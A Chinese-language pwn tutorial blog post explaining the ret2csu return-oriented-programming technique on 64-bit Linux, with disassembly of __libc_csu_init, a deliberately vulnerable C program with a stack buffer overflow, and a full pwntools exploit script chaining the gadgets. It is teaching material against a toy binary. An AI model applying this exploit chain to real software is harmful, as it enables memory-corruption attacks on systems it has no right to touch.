跳到主要内容

「PWN」最基础的 ret2csu

· 阅读需 4 分钟
MuelNova
Pwner who wants to write codes.

0x01 为什么需要 ret2csu?

在 64bits 的 ELF 文件中,函数调用的前六个参数是分别存放在rdi、rsi、rdx、rcx、r8、r9这六个寄存器当中的,而我们在实际构建 ROP 时很难找到对应的 gadgets(大部分情况下是找不到 rdx),而 ret2csu 的关键点就在于使用__libc_csu_init()来获取两个 gadgets 来进行万能传参(同时泄露出函数真实地址)

0x02 __libc_csu_init()

__libc_csu_init()是用来对 libc 进行初始化操作的函数,而绝大部分软件都会调用到 libc,因此我们可以认为__libc_csu_init()基本算程序通用的函数之一

。这里,我们随便打开一个 64bitELF 文件查看一下它。

.text:0000000000401250 loc_401250:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401250 mov rdx, r14
.text:0000000000401253 mov rsi, r13
.text:0000000000401256 mov edi, r12d
.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040125D add rbx, 1
.text:0000000000401261 cmp rbp, rbx
.text:0000000000401264 jnz short loc_401250
.text:0000000000401266
.text:0000000000401266 loc_401266: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401266 add rsp, 8
.text:000000000040126A pop rbx
.text:000000000040126B pop rbp
.text:000000000040126C pop r12
.text:000000000040126E pop r13
.text:0000000000401270 pop r14
.text:0000000000401272 pop r15
.text:0000000000401274 retn

从这里我们可以看出,我们可以让r15+rbx*8为我们所要执行函数的指针,edi、rsi、rdx可以分别作为函数的参数

在通常情况下,我们一般让rbx=0,rbp=1,这样可以赋值r15为指向函数的指针,如此一来便大大化简了我们使用 gadgets 的难度。

0x03 实战

在这里,我只准备对 ret2csu 的原理进行探究(因为还有半个小时就要打 HGAME 辣),所以我写了一个简单的程序,它会直接泄露出函数实际地址

source:

#include<stdio.h>
#include<unistd.h>

int vul(int a,int b,int c){
if(c == 233)
printf("Big Hacker!\n");
return 0;
}

int main(){
char buf[30];
int (*ptr)(int a,int b,int c) = vul;
printf("gift: %p\n", &ptr);
read(0,buf,0x100);
return 0;
}

编译:

gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits

很简单,我们只需要利用__libc_csu_init()将 rdx 赋值为 233 就好了

而我们使用 ROPgadgets 可以发现是没有一个 gadgets 能让我们这样做的

ROPgadgets

这时候我们就需要进行 ret2csu 了

def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

值得注意的是,执行完 gadget1 之后,程序顺序执行会再次执行 gadget2,因此,我们需要再填充一次(7*0x8)的垃圾数据防止出现错误

完整 payload:

from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'

sh = process('./ret2csu_64bits')
elf = ELF('./ret2csu_64bits')

sh.recvuntil(b"gift: ")
vul_addr = int(sh.recvline(), 16)
csu_gadget1_addr = 0x401250
csu_gadget2_addr = 0x401266


def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload

gdb.attach(sh)
payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])
sh.sendline(payload)
sh.interactive()

Loading Comments...